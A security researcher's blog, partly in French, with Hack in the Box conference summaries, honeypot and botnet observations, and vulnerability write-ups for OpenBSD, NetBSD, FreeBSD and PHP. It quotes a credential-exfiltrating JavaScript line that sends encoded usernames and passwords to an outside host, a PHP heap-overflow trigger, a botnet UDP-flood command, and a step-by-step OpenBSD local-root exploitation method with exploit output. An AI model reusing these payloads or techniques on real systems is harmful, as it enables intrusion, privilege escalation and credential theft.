vulndev... ou pas.

Deuxième jour dans la hackbox

2011-05-22T01:44:00.000-07:00

Le deuxième jour de la hackbox a commencé par un débat très intéressant sur « THE ECONOMICS OF VULNERABILITIES » avec Chris Evans (Google), Aaron Portnoy (ZDI), Lucas Adamski (Mozilla) et des responsables sécu de MS, Adobe et RIM. Grâce aux questions du public et surtout celles de Don Bailey, le débat a essentiellement tourné autour des marchés noirs où des *exploits* sont achetés bien plus cher que sur le marché "légal" mis en place par les « vulnerability reward programs » de Google, Mozilla ou encore ZDI... mais comme ils l'ont bien mentionné c'est pas le même type de vente, sur le marché noir, on veut un exploit stable qui fonctionne sur le maximum de platformes tandis que chez Google, Mozilla et ZDI on veut une *bonne* description de la vulnérabilité et de son impact. Ils ont aussi dis une chose importante est que pour la plupart des chasseurs de vulns, le prestige et la reconnaissance comptent autant voir plus que les sous. Aaron a également parler de ZDI où seulement 30% des soumissions sont acceptées et que pour la plupart de celles qui sont refusées sont des « hey regardez XXX segfault quand on ouvre fuzz.html ». Une question sur VUPEN et leur « politique » de revente/buzz de 0day a aussi été posée mais Chris n'a pas répondu. :-(

La première présentation de la journée était sur les nouvelles générations d'attaques ouaib du Founder de blueinfy. L'auteur a montré tous les nouveaux vecteurs d'attaques introduits par l'arrivée de HTML5 et ses amis. Ainsi il a montré les nouveaux endroits (balise video) où on pouvait introduire du JS, les nouveaux endroits où on pouvait retrouver des données intéressantes (LocalWebStorage, WebSQL) qu'on peut récupérer en JS... Ses outils sont disponibles sur le site de sa société.

Ensuite j'ai assisté a deux présentations undergrounds sur le piratage des satellites et des réseaux 3G/4G et « ça fait peur ». Au niveau du piratage des satellites, la sécurité mise en place est une sécurité par l'obscurité essentiellement et beaucoup de points d'entrées (employés, machines de commandes) peuvent être attaqués et c'est ce qu'ils ont démontrés en montrant qu'il était possible de « pirater » un distributeur de billets qui communique par satellite. La présentation sur les réseaux 3G/4G a essentiellement tourné autour des protocoles GTP (GPRS Tunnelling Protocol) où les deux monsieurs ont montré que les devices (CISCO) qui supportent ces protocoles ne sont pas infaillibles (DoS avec un simple flood, crash après fuzzing). De plus ils ont scanné le nain ternet et ont trouvé que beaucoup beaucoup de devices (parfois méga-vieille) répondaient aux pings GTP (et même en version GTP-C, variante utilisée pour le transport de données sensibles) et que c'est mal.

Ensuite j'ai assisté au début de la présentation de l'italiano Rosario Valotta qui nous a présenté son 0day qu'il a trouvé dans toutes les versions d'IE sauf la 9. Le 0day en question est qu'un site web, en combinant différentes techniques, peut accéder au contenu des cookies stockés sur le disque dur dans Documents and Settings/user/Cookies/user@google[1].txt. Les techniques employées pour arriver à ses fins sont le fait de masquer l'iframe contenant le contenu du cookie, de faire du drag and drop jacking, l'utilisateur est deviné grâce à l'accès à un SMB share à distance (img src=\\coincoin.com\) où le nom de l'utilisateur est dévoillé dans la négociation NBT. La dernière chose à savoir pour que son exploit marche est la version du windows utilisé par la victime mais pour cela il suffit de regarder l'user-agent qu'IE annonce... Bref, un talk intéressant qui décrit de A à Z bien comment on peut arriver à ces fins avec une simple vulnérabilité à la con. Il reste encore à gérer le problème de localisation de l'OS parce que chez les frenchies les cookies sont dans C:\Utilisateurs il me semble.

Pour finir la journée et avant la keynote de fin, je suis allé voir la fin de la présentation de Guillaume Delugre sur le pwnage du firmware des NIC broadcom et ça rocks. Il a montré ce qui se passe à l'intérieur de la carte (processeur pseudoMIPS, aux mémoires auxquelles la carte a accès) , ensuite il a présenté ses 2 débuggeurs (InVivoDbg et InVitroDbg) qui utilisent Metasm (ruby). InVitro est un firmware dans QEMU qui dialogue en live avec la carte. Ensuite il a fini sa présentation par montrer ce qu'on peut faire avec tout ça comme son firmware rookité qui doit tenir en moins de 48KB de mémoire (text, stack, packet buffers). Son rookit intègre un client DHCP et un moyen d'écrire dans la mémoire du système hôte (à travers DMA). Ainsi il a montré une démo où son rootkit patche un jmp pour accéder au système avec NIC rootkité (un Windows XP) sans mot de passe. Impressive! Il est aussi en train de développer un memory dumper qui dump la mémoire du système hôte sur le réseau. On pourrait foutre un firewall la dedans, il a dit qu'il avait déjà la stack IP/UDP. ;-)

Le CTF a été remporté, haut la main, par la team française C.o.P, jéjé. ;-)

Voilà, pour ceux qui veullent plus d'info, xme a fait des meilleurs résumés que les miennes.

Premier jour dans la hackbox :)

2011-05-19T08:44:00.000-07:00

[grosses fautes d'orthographe and co inside]

Le premier jour de la hack in the box est déjà over, j'ai pas vu la journée passer (même si elle est pas encore terminée). Premièrement l'organisation est parfaite et l'hôtel (cadre, bouffe) rocks des ours. :)

La conférence a commencé par une keynote du chief security officer de Fessebooks. Le grand monsieur a présenté une à une toutes les features « secures » qui ont été implémentées dans FB comme l'HTTPS et son forcage, question privée au hasard au login... Il a présenté les Self XSS (je ne connaissais pas le nom mais c'est bien trouvé) et comment il compte les éviter/réduire (prévention chez l'utilisateur, propagation des tips)... etc...

Ensuite j'ai décidé d'assister à la présentation sur les botnets d'un gars de FOX-IT. Elle était très bien. En gros elle ressemble à celle que j'ai faite mais en beaucoup mieux et avec surtout des vrais exemples bien plus poilus (bcp de $$$) que les miens. J'ai noté quelques noms de « botnets/threats » que je connaissais pas comme le fake site TrafficConverter.biz, le botnet Artro qui cache ses commandes dans des commentaires d'image GIF. Un truc que jamais vu aussi... un exploit kit (bomba dans son exemple) qui check presque en live si les payloads utilisés sont détectés par les AV. Funny!

Après ça, j'ai bougé mes fesses pour aller voir le talk de Claudio Criscione qui nous présente son outil nommé MetaXSSploit. Au début, beaucoup beaucoup de blabla pour raconter l'histoire de la naissance de son outil... un peu de blabla sur les XSS du genre « In a real world, XSS is a real gift for pentesters. Not just an alert() » ... puis il nous présente son outil^Wmodule metasploit qui:

- possède une base d'appli. ouaib vulnérables à des XSS (remplie grâce au parsing de bugtraq@)
- le pentester choisi l'appli. qu'il veut attaquer (gestion des GET/POST)
- il choisi le payload (un bon gros beef)
- metaxssploit génère une page de redirection automatique (forward) ou un bouton clikaconvi (enrobé de phising)
- la victime navigue sur la page et sbam, elle se fait beefer

Pas super mega sexy mais bien pratique pour les pentesters. Pas encore releasé mais ça va venir...

Ensuite après le repas de oufz0r, le gros loutrage aux stands Google, Fox-it, Qualys et zieutage du CTF (allez les C.o.P :-D)...

Présentation de « webshellng » de la devoteam... Les 2 frenchies nous ont décortiqué en long, en large et en travers les webshells écrits en PHP, JSP ou ASP... comme vous pouvez en trouver là ou là (thanks to my old and crappy honeypots). Ensuite ils nous ont montré leur framework qui intègre les meilleurs fonctionnalités des webshells qu'ils ont étudié. Ce framework permet de générer le shell.{php,jsp,asp} (source chiffrée avec password, ip du serveur et ip du client pour être utiliser qu'une seule fois) à balancer sur le serveur web à pwner. Une fois déployé le serveur est contrôlable à travers une interface Java (hum ça swing) par l'intermédiaire du webshell. La présentation se termine sur les possibilités d'évasion que propose leur framework. En gros ils disent que tout est chiffré pour pas se faire pwned par une signature qui match sur des patterns bien précis (cmd.exe, /etc/passwd) mais me semble avoir vu un POST avec login=crypted&cmd=crypted&bla=crypted et un User-Agent bien spécifique dans leur démo. Apparement ils sont pas près de releaser leur outil tel quel... dommage. :-(

La deuxième présentation auquelle j'ai assisté est celle d'une étudiante qui présente HOOOOWAAAAAAARDDDDDDD, un outil pour retrouver des structures dans un binaire... stripé (et oui on est à Amsterdam hein ;-)). Elle explique comment elle traque les pointeurs pour trouver des structures et les champs de ces dernières. Elle s'est beaucoup beaucoup attardée sur la méthode utilisée pour différencier une structure d'un tableau... Les résultats ont l'air pas mal mais malheureusement la démo n'a pas marché à 100% et l'outil ne sera pas releasé (décidément) #@!#@#^#!#@!

La journée s'est terminée par the talk de Monsieur HardenedP^WHardenedIOS où il a montré comment il a rajouté l'ASLR dans l'iOS < 4.3 grâce à son outil antid0te. Même si je ne toucherais probablement jamais à ça, j'ai appris pas mal de chose sur iOS. Par exemple je ne savais pas que les librairies dynamiques étaient shippés dans un gros package (dyld_shared_cache) partagé par toutes les applications. Il a ensuite montré comment son antid0te poutrait sa maman par rapport à l'ASLR implémenté par Apple dans iOS 4.3. En gros, antid0te réordonne les libs dans le package dyld_shared_cache alors qu'Apple ne le fait pas donc avec un memory leak là dedans, le pirate peut faire du matching binaire et deviner l'adresse de base où a été placés ce gros package et faire rouler son ROP trankilosse (et oui on est à Amsterdam hein). Bref, un très très bon talk même s'il a fait pleurer toute l'audience à la fin en disant que son ELEVATOR iPad2 jailbreak0r était un fake... ;-)

Next tomorrow,

Googlecode for haxors.

2011-01-22T09:12:00.000-08:00

I have just found on one of my honeypots that web haxors are now using Googlecode to store their PHP malwares. These malwares are injected on various websites by using RFI vulnerabilities. The most active repo is majitoz.googlecode.com. You can browse the malwares in the downloads category. Sadly, there is nothing interesting at the moment, just fucking well-known PHP/PERL malwares.

UPDATE: Google has been informed and majitoz has been taken down. Great reactivity.

Tunisia haxors...

2011-01-14T12:07:00.000-08:00

Some people speak about the JS injected code done in Tunisia when you try to access website like gmail, facebook... They say that the credentials are sent in clear text in the evil wo0dh3ad URL but it is not totally true since there is a very small encoding like we can see in this snippet.

var url = "www.fessebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55);

us3r and pa55 are encoded using the h6h() function which is:


function h6h(st)
{
 for(i=0;i<st.length;i++) {
  c=st.charCodeAt(i);
  ch=(c&0xF0)>>4;
  cl=c&0x0F;
  st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);
 }
 return st2;
}

It just loops through the string, splits each 8 bits char in two numbers of 4 bits. Then it creates two new chars (chr()) by adding 97 (ord('a')) to each number and concatenates them to the encoded string which is returned and inserted in URL. A bit lame isn't it? :-)

To decode us3r and pa55 from your logs, you can use this silly (no bounds checking) python script:


[clem1@blah ~]$ cat unh6h.py
import sys
def unh6h(string):
 u = ""
 for i in range(0, len(string), 2):
  s = ord(string[i])-97
  s <<= 4
  s += ord(string[i+1])-97
  u += chr(s)
 return u
print(unh6h(sys.argv[1]))

A quick test:


>>> h6h("password")
"hagbhdhdhhgphcge"
[clem1@blah ~]$ python unh6h.py "hagbhdhdhhgphcge"
password

Very old FreeBSD mbuf exhaustion...

2010-12-06T10:25:00.000-08:00

This Linux exploit reminds me a bug in FreeBSD reported by me 4 years ago.

The bug resides in the IPV6_PKTOPTIONS setsockopt() code located in ip6_output.c:


int ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
(...)
 switch (optname) {
  case IPV6_2292PKTOPTIONS:
#ifdef IPV6_PKTOPTIONS
  case IPV6_PKTOPTIONS:
#endif
  {
   struct mbuf *m;
   error = soopt_getm(sopt, &m); /* XXX */
   if (error != 0)
     break;
(...)
}

soopt_getm() is called with user supplied sopt defined like this.


struct  sockopt {
 enum    sopt_dir sopt_dir; /* is this a get or a set? */
 int     sopt_level;     /* second arg of [gs]etsockopt */
 int     sopt_name;      /* third arg of [gs]etsockopt */
 void   *sopt_val;       /* fourth arg of [gs]etsockopt */
 size_t  sopt_valsize;   /* (almost) fifth arg of [gs]etsockopt */
 struct  thread *sopt_td; /* calling thread or null if kernel */
};

Notice that in our case sopt_td field is not NULL. As you can see below, depending on the user supplied sopt_valsize, soopt_getm() will try to allocate a mbuf and a cluster of mbuf if sopt_valsize is greater than MLEN (~256). If there is not enough mbuf avalaible, soopt_getm() will wait infinetely until mbufs are released because sopt_td is not NULL.


int soopt_getm(struct sockopt *sopt, struct mbuf **mp)
{
 struct mbuf *m, *m_prev;
 int sopt_size = sopt->sopt_valsize;
 MGET(m, sopt->sopt_td ? M_WAIT : M_DONTWAIT, MT_DATA);
 if (m == NULL)
  return ENOBUFS;
 if (sopt_size > MLEN) {
  MCLGET(m, sopt->sopt_td ? M_WAIT : M_DONTWAIT);
(...)
}

If you have noticed the possible integer overflow on sopt_size, stay seated because it is already checked by the callers.

To trigger this mbuf exhaution you can use this poc.


$ uname -v
FreeBSD 8.1-RELEASE
$ netstat -m
258/267/525 mbufs in use (current/cache/total)
256/134/390/4672 mbuf clusters in use (current/cache/total/max)
(...)
$ ./foo&
(...)
$ netstat -m
4547/193/4740 mbufs in use (current/cache/total)
4544/128/4672/4672 mbuf clusters in use (current/cache/total/max)

(Try an ifconfig iface down up as root and system will now be completely frozen. I guess the iface releases its mbufs when it goes down but cannot allocate new ones when it goes up because our poc has already eaten all of them, gniark)

This bug is quite funny and dangerous because it does not cause a system crash followed by a reboot like a simple kernel panic but it consumes infinitely all the available system mbufs and cause serious networking troubles. :-)

NetBSD Denial^WLocal root ?

2010-12-01T00:30:00.000-08:00

Dear,

Here are some information about the vulnerability released by NetBSD.org 3 days ago.

The issue is due to the use of an uninitialized structure « allocated » on the kernel stack. It seems to affect all NetBSD stable releases since 5.0.2.

Vulnerability resides in the udp6_output() kernel function which can be triggered from userland by a single sendmsg() call on a basic UDP6 socket. Here is the buggy code:


int udp6_output(..., struct mbuf *addr6, struct mbuf *control, ...)
{
(...)
struct ip6_pktopts *optp, opt; [0]
(... nothing is done on opt ...)
if (addr6) {
if (addr6->m_len != sizeof(*sin6)) {
 error = EINVAL;
 goto release; [1]
}
sin6 = mtod(addr6, struct sockaddr_in6 *);
if (sin6->sin6_family != AF_INET6) {
 error = EAFNOSUPPORT;
 goto release; [2]
}
(...)
}
(...)
if (control) {
if ((error = ip6_setpktopts(control, &opt, in6p->in6p_outputopts, priv, IPPROTO_UDP)) != 0) [3]
 goto release;
 optp = &opt;
}
(...)
release:
m_freem(m);
releaseopt:
if (control) {
ip6_clearpktopts(&opt, -1); [4]
m_freem(control);
}
}

At [0] we have an opt ip6_pktopts structure declarated on the kernel stack. This structure is initialized/filled in [3] by ip6_setpktopts() and cleared in the releaseopt label [4] by a call to ip6_clearpktopts(). Unfortunately this label can be achieved before initialization at [1] or [2] if udp6_output() is called with a bad addr6 (msg_name field of the msghdr struct) for example. If it is the case, ip6_clearpktopts() will try to free uninitialized pointers and/or to remove routes from linked lists. Here is the most interesting parts of ip6_clearpktopts().

void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
if (optname == -1 || optname == IPV6_PKTINFO) {
 if (pktopt->ip6po_pktinfo)
  free(pktopt->ip6po_pktinfo, M_IP6OPT);
(...)
if (optname == -1 || optname == IPV6_RTHDR) {
 if (pktopt->ip6po_rhinfo.ip6po_rhi_rthdr)
  free(pktopt->ip6po_rhinfo.ip6po_rhi_rthdr, M_IP6OPT);
 rtcache_free(&pktopt->ip6po_route);
}
(...)
}

Exploitation of this security issue can result in a kernel panic by using this simple proof of concept. I am currently trying to gain root priv. through this vulnerability by using some evil mmap()s at fixed address to trick the rtcache_free() to write a NULL at an user controlled address but it's not yet reliable. More information about this soon. ;-)

PS: I have just received this book and it really rocks. \o/

PS2: Phrack #67 rocks too, I loved the quotes on the glibc code in the « A Eulogy for Format Strings paper ». Grep for alloca() in glibc and enjoy. \o/

PHP mhash_keygen_s2k() 64 bits bug.

2010-05-29T02:32:00.000-07:00

Hi folks,

Since it's the month of PHP security, I've tried to run my old PHP fucking fuzzer against the new versions of PHP and I've found an interesting security bug on 64 bits arch. Here it is.

The bug is located in function zif_mhash_keygen_s2k() in ext/hash/hash.c where we have :

740 PHP_FUNCTION(mhash_keygen_s2k)
741 {
742 long algorithm, bytes; [0]
751 if (bytes <= 0){ [1]
752 php_error_docref(NULL TSRMLS_CC, E_WARNING, "the byte parameter must be greater than 0");
753 RETURN_FALSE;
754 }
(...)
796 ZVAL_STRINGL(z, key, bytes, 1); [2]

ZVAL_STRINGL macro code is :

544 #define ZVAL_STRINGL(z, s, l, duplicate) { \
545 const char *__s=(s); int __l=l; \ [3]
547 Z_STRVAL_P(z) = (duplicate?estrndup(__s, __l):(char*)__s);\

estrndup() is defined in Zend/zend_alloc.c :

2490 ZEND_API char *_estrndup(const char *s, uint length ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) {
2493 p = (char *) _emalloc(length+1 ZEND_FILE_LINE_RELAY_CC [4]
(...)
2497 memcpy(p, s, length); [5]

At [0] we have the variable bytes declared as long. This variable is filled with the last parameter of the mhash_keygen_s2k() PHP function. At [1] we are checking if this variable is less or equal to 0 which is not permitted. On 64 bits, long is 64 bits so we can pass 0x00000000FFFFFFFF (-1 value of a 32 bits integer) and check is passed.

On [2] we call ZVAL_STRINGL(), this macro casts [3] the bytes variable as an int, so at this moment __l is equal to -1. Then [4] estrndup() is called which does a malloc(__l + 1) which is malloc(0) in our case and permitted. Then we have [5] a call to memcpy() to copy __l bytes into the freshly 0 malloc'ed buffer and sbing heap overflow occurs. :-)

To reproduce this overflow, we can use this script :

<?php mhash_keygen_s2k(1, "coin", 867673168, 4294967295); ?>

Code execution seems possible from different code paths. Also, key is indirectly controlled by the user. Unfortunately I currently have no time to play with it and to confirm this. Geeeeeeeez... :-(

PHP security folks have fixed this vulnerability by switching bytes type from long to int.

Others possible vulnerabilities, not found during the MoPS, are currently under analyze, more info soon. ;-)

Few phunz on botnets !

2010-01-07T08:16:00.000-08:00

Here are some funny shits found on my infiltrated botnets. ;-)

<eekz[34]> [OFF][AIX][ http://www.pcu.ac.kr/ ]
<eekz[34]> [Uname][ AIX www 3 5 002168BB4C00 ] [User][ pima / uid=206(sysop) gid=120(www) ] [Server][ 203.250.129.140 ]
<eekz[34]> [Dir][ /home3/homepage/pima/myhome/ [R] ] [HDD][ Used: 27 GB Free: 12.07 GB Total: 27 GB ]

<al3xg0> ZEN990 uname -a
<zen990> SunOS www.xxx.com 5.10 VDE sun4v
<zen990>

<al3xg0> !x @udp your.government.armed.us 53 300

#f5: <~nonoxh> .speedtest
#f5: < [UniX|USA|PHX|AccX|685635]> ?~{ SpeeD TesT StarteD! }~? - Please Wait!
#f5: < [UniX|USA|PHX|AccX|685635]> ?~{ SpeeD TesT CompletE! }~? - This bot hits at 4503 MegaBytes/Second

[clem1@plouf ~]$ grep clem1.be botlogs | wc -l
1932

Nowel chez les botneteurs.

2009-12-26T06:42:00.000-08:00

Bonjour Père-Noël, je m'appelle Kevin et cette année, je voudrais avoir 2000 bots pour moi tout seul, j'ai été très sage...

Mince... trop tard. :-)

Exposé sur les botnets pour les nains !

2009-12-19T02:36:00.000-08:00

Pwet,

Dans le cadre des exposés de 3ème année [0] pour nain génieur du 2000, j'ai choisi de faire une présentation sur la détection et l'analyse de botnets où je me suis bien “pwalé”. :-)

Vous trouverez les slides sur ma maisonpage.

Allez j'en profite de ce mini billet pour faire dans le “corporate” et vous souhaiter, à tous, plein de phunz pour ces fêtes de fin d'année.

[0] Eh ouais, ça devient bon, Paris va me manquer... \o/

OpenBSD phunz² !

2009-12-14T06:36:00.000-08:00

Hi,

Here is a new OpenBSD fun. This time is not a new fucking NULL pointer dereference but a tiny kernel stack memory disclosure. It has been found in getsockopt(IP_IPSEC_*_AUTH).

Code can be found in netinet/ip_output.c :



    u_int16_t opt16val;
    (...)
    ipr = NULL;
    (...)
    case IP_IPSEC_REMOTE_CRED:
          ipr = inp->inp_ipsec_remotecred;
          opt16val = IPSP_CRED_NONE;
          break;
    case IP_IPSEC_LOCAL_AUTH:
          if (inp->inp_ipo != NULL)
                ipr = inp->inp_ipo->ipo_local_auth;
          break;
    case IP_IPSEC_REMOTE_AUTH:
          ipr = inp->inp_ipsec_remoteauth;
          break;
    (...)
    if (ipr == NULL)
          *mtod(m, u_int16_t *) = opt16val;

As you can see, in cases IP_IPSEC_LOCAL_AUTH and IP_IPSEC_REMOTE_AUTH, there are no value assigned to opt16val whereas ipr can be NULL. In this case, when ipr is NULL, opt16val is returned to userland and 2 bytes of the kernel stack are leaked. :-)

Fix is very simple, it just initializes opt16val in both cases.

@@ -1593,9 +1593,11 @@ ip_ctloutput(op, so, level, optname, mp)
  case IP_IPSEC_LOCAL_AUTH:
  if (inp->inp_ipo != NULL)
    ipr = inp->inp_ipo->ipo_local_auth;
+ opt16val = IPSP_AUTH_NONE;
  break;
  case IP_IPSEC_REMOTE_AUTH:
  ipr = inp->inp_ipsec_remoteauth;
+ opt16val = IPSP_AUTH_NONE;
  break;

Well, it's not a big issue but it prooves that OpenBSD is also affected by the same fucking issues found in Linux kernel few months ago...

OpenBSD PANIC, second round !

2009-11-21T06:59:00.000-08:00

Hello dudes !

Here are few new OpenBSD fun. There are NULL pointer dereferences and KASSERT(m != NULL) which can be triggered by simple user. I am too busy to see if the NULL pointer dereferences are exploitables to get root on <= 4.3. I guess patches are enough to understand these vulnerabilities.

User triggerable KASSERT()s and NULL dereferences in netbt setsockopt()s, found by Clement LECIGNE, localhost DoS everywhere. Also, don't leak the mbuf when the wrong level is used.

http://marc.info/?l=openbsd-cvs&m=125880991716458&w=2

NULL dereference in IPV6_PORTRANGE and IP_IPSEC_*, found by Clement LECIGNE, localhost DoS everywhere. To help minimize further issues, make the mbuf != NULL test explicit instead of implicit in a length test. Suggestions and initial work by mpf@ and miod@ ok henning@, mpf@, claudio@,

http://marc.info/?l=openbsd-cvs&m=125870804715790&w=2

Humpf, I should have tested OpenBSD during my 2006 summer of code on IPv6 security. :-(

OpenBSD ownage party !

2009-11-02T00:21:00.000-08:00

Hello world,

Since erratas and patches for the vulnerability have been released, I can publish my exploit with some explanations.

Explanations are quite light, I have no time. Maybe xorl will do a better analysis and in a better english. :-)

* Vulnerability

The vulnerability is very easy to understand. OpenBSD developpers have just forgotten to allocate a new mbuf in a getsockopt() kernel case. Indeed, when kernel handles getsockopt() call, it creates a new mbuf which is filled with the information requested and returned back to userland. For instance, here is the code case handling a getsockopt() with IP_PORTRANGE level:

*mp = NULL;
(...)
case IP_PORTRANGE:
*mp = m = m_get(M_WAIT, MT_SOOPTS);
m->m_len = sizeof(int);

if (inp->inp_flags & INP_HIGHPORT)
optval = IP_PORTRANGE_HIGH;
else if (inp->inp_flags & INP_LOWPORT)
optval = IP_PORTRANGE_LOW;
else
optval = 0;

*mtod(m, int *) = optval;
break;

As you can see on line 2, there is a call to m_get() to request a new mbuf.

Problem is located in levels IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL where developpers use the mbuf m directly whereas it has not been allocated, it equals to NULL.

case IP_AUTH_LEVEL:
case IP_ESP_TRANS_LEVEL:
case IP_ESP_NETWORK_LEVEL:
case IP_IPCOMP_LEVEL:
(...)
m->m_len = sizeof(int); [1]
switch (optname) {
case IP_AUTH_LEVEL:
optval = inp->inp_seclevel[SL_AUTH];
break;
(...)
*mtod(m, int *) = optval; [2]
(...)

At [1] kernel try to write sizeof(int) at NULL->m_len. If page at address NULL is not mapped, a kernel panic occurs.

This vulnerability affects OpenBSD version 3.9 (I've not checked previous versions) through 4.6, the lastest.

* The sploit

At first, in order to exploit this vulnerability to gain root priv, we have to be able to map page at adresse NULL. Since OpenBSD 4.4, this has been disabled for all architectures. I haven't found any way of bypassing this protection. Thus, this exploit works only on versions prior to OpenBSD 4.4.

In the vulnerable code showed above, we can see that the instruction at [2] is very interesting because it will allow us to write optval where we want in memory. Indeed, mtod() is just a C macro which returns (int*)m->data.

So let's root it ?

To exploit this, we just have to map (rw access) at address NULL a fake mbuf with an evil data field. We just have one consideration to take into account, default value for optval in these cases is always 0x00000001 and only root can modify it with a setsockopt() call. So, we can write a 0x00000001 where we want in memory. :-)

Are you ready to rumble the kernel ?

Like perl, there is more than one way to do it. At first I was thinking of erasing creds in the proc structure but it is no so simple and I chose to simply override an entry in the syscall table.

Yes, address of sysent in OpenBSD is static. We just have to override one of the entries (SYS_fpathconf for example) with an 0x00000001 value by mapping a fake mbuf at NULL with m->data = addr of sysent[SYS_fpathconf]. Then we call our evil getsockopt(). When sysent entry is overriden, we remap at NULL a NOP+shellcode which updates the creds of our current process and then call fpathconf() to exec our shellcode and rulez !

Please, let me know if you have other tricks.

For more information, I let you see source of the exploit, for educationnal purpose only of course.

$ id
uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)
$ ./openbaize
\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() local root
\o/ Found and badcoded by clem1
\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h
\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0
\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192
\o/ Hoooooooorray r00t.
# id
uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)

* FAQ:

Why two different shellcodes ?

Just because proc and p_cred structures have changed (new level of dereference, new offset).

Ce soir c'est OpenBaize !

2009-10-29T11:26:00.000-07:00

Les erratas ainsi que les patchs étant disponibles, je me permet de publier mon exploit ainsi que les explications qui vont avec...

Les explications sont sans sucre ajouté... je n'ai pas trop le temps en ce moment. :-(

Peut être que Monsieur xorl donnera plus d'explications comme il le fait trop bien.

* Description de la vulnérabilité.

La vulnérabilité est aussi bête à comprendre qu'elle a été simple à trouver. Lorsque le kernel gère un getsockopt() il alloue un mbuf pour retourner les informations en userland. Par exemple, voici le code pour récupérer le portrange (IP_PORTRANGE) :

*mp = NULL;
(...)
case IP_PORTRANGE:
*mp = m = m_get(M_WAIT, MT_SOOPTS);
m->m_len = sizeof(int);

if (inp->inp_flags & INP_HIGHPORT)
optval = IP_PORTRANGE_HIGH;
else if (inp->inp_flags & INP_LOWPORT)
optval = IP_PORTRANGE_LOW;
else
optval = 0;

*mtod(m, int *) = optval;
break;

On voit bien à la ligne 2, que le kernel demande l'allocation d'un mbuf.

Le problème se trouve pour les levels IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL où les développeurs d'OpenBSD ont oublié d'allouer un nouveau mbuf et ont directement travaillé [1] sur le mbuf m qui vaut NULL.

case IP_AUTH_LEVEL:
case IP_ESP_TRANS_LEVEL:
case IP_ESP_NETWORK_LEVEL:
case IP_IPCOMP_LEVEL:
(...)
m->m_len = sizeof(int); [1]
switch (optname) {
case IP_AUTH_LEVEL:
optval = inp->inp_seclevel[SL_AUTH];
break;
(...)
*mtod(m, int *) = optval; [2]
(...)

À l'exécution de [1] le kernel tente d'écrire la taille d'un int à l'adresse NULL + off(m_len). Si la page à l'adresse NULL n'est pas alouée, c'est le kernel panic.

Je n'ai pas regardé en détail depuis quand cette vulnérabilité était présente dans OpenBSD. Je suis descendu jusqu'à la version 3.9 et elle est vulnérable...

* Exploitation de la vulnérabilité.

Tout d'abord pour pouvoir exploiter cette vulnérabilité, il est évident qu'il faut pouvoir mapper une page à l'adresse NULL. OpenBSD, depuis la version 4.4 et pour toutes les architectures, n'autorisent plus cela. J'ai tenté en vitesse de trouver un moyen de bypasser cette protection mais proutprout. La technique d'exploitation décrite ici s'applique donc aux OpenBSD qui ont une version inférieure à la 4.4.

Dans le code de la vulnérabilité présentée ci-dessus, nous voyons que nous avons en [2] une instruction très intéressante qui va nous permetre d'écrire la valeur comprise dans optval à n'importe quelle adresse mémoire. En effet, la fonction mtod() retourne simplement (int*)m->data.

Vous voyez où je veux en venir ?

Il suffit de placer (en rw) un faux mbuf à l'adresse NULL avec une belle adresse bien poilue dans m->data. Seulement il y'a quelques limites à prendre en considération... Par défaut, la valeur d'optval sera égale à 0x00000001, seul le root peut la modifier par setsockopt(). Nous pouvons donc écrire un 0x00000001 où l'on veut en mémoire.

Que faire ?

Alors là, c'est là où on s'amuse. Je pense qu'il y a plusieurs façons de faire. Au départ j'avais pensé à écraser en 2 coups l'uid dans la structure proc du processus courant mais j'ai abandonné et je suis parti pour écraser une entrée de la table des appels système.

Bein oui, l'adresse d'origine de la table ne bouge pas... il suffit d'écraser une de ces entrées (SYS_fpathconf par exemple) avec un 0x00000001 en mappant un faux mbuf avec m->data = adresse de sysent[SYS_fpathconf]. Ensuite une fois que c'est fait, on mappe (en rx), toujours à NULL, un shellcode qui va modifier l'uid de la structure proc du process courant pour lui donner le root et on appelle l'appel système fpathconf() pour exécuter notre shellcode et bingo. Pinuts hein ?

Si vous pensez à d'autres techniques je suis preneur. ;-)

Pour plus d'explications, je vous laisser regarder les sources.

* Taddam, sans les mains !

$ id
uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)
$ ./openbaize
\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() remote root
\o/ Found and badcoded by clem1
\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h
\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0
\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192
\o/ Hoooooooorray r00t.
# id
uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)

* Pourquoi deux shellcodes ?

Parce que la structure proc et notamment la structure p_ucred à l'intérieur a changée entre la version 4.2 et 4.3... donc c'est juste une histoire de niveau de déférencement pour arriver à l'uid du owner du process et d'offset...

Mouflage chez OpenBSD

2009-10-28T11:31:00.000-07:00

Depuis le temps qu'elle loutrait sur mon disque celle là...

Je publierai mon exploit quand ils auront patché les stables et publié un errata. En attendant, vous pouvez vous amuser à tenter de gagner le root sur une OpenBSD 4.3 ou à trouver un moyen de bypasser mmap(NULL) introduit dans la 4.4. #@!

Merci mes fuzzers de 2006...

Moufleurs professionnels chez VirtualBox

2009-10-13T15:08:00.000-07:00

Extrait du changeLog de VirtualBox :

« Security: fixed vulnerability that allowed to execute commands with root privileges. »

HUM HUM WOOT #@!

Après quelques minutes de recherche, on tombe sur le binaire VBoxNetAdpCtl qui est setuid root et dont le code vulnérable est disponible ici. C'est du code bien cradossé, je vous laisse un peu de temps pour trouver la vulnérabilité. ;-)

...

Bein oui c'est le popen() qui est fait à la ligne 118 qui nous permet d'injecter des commandes qui seront lancées avec euid = 0. :-)

~~Exploit de oufz0r :~~

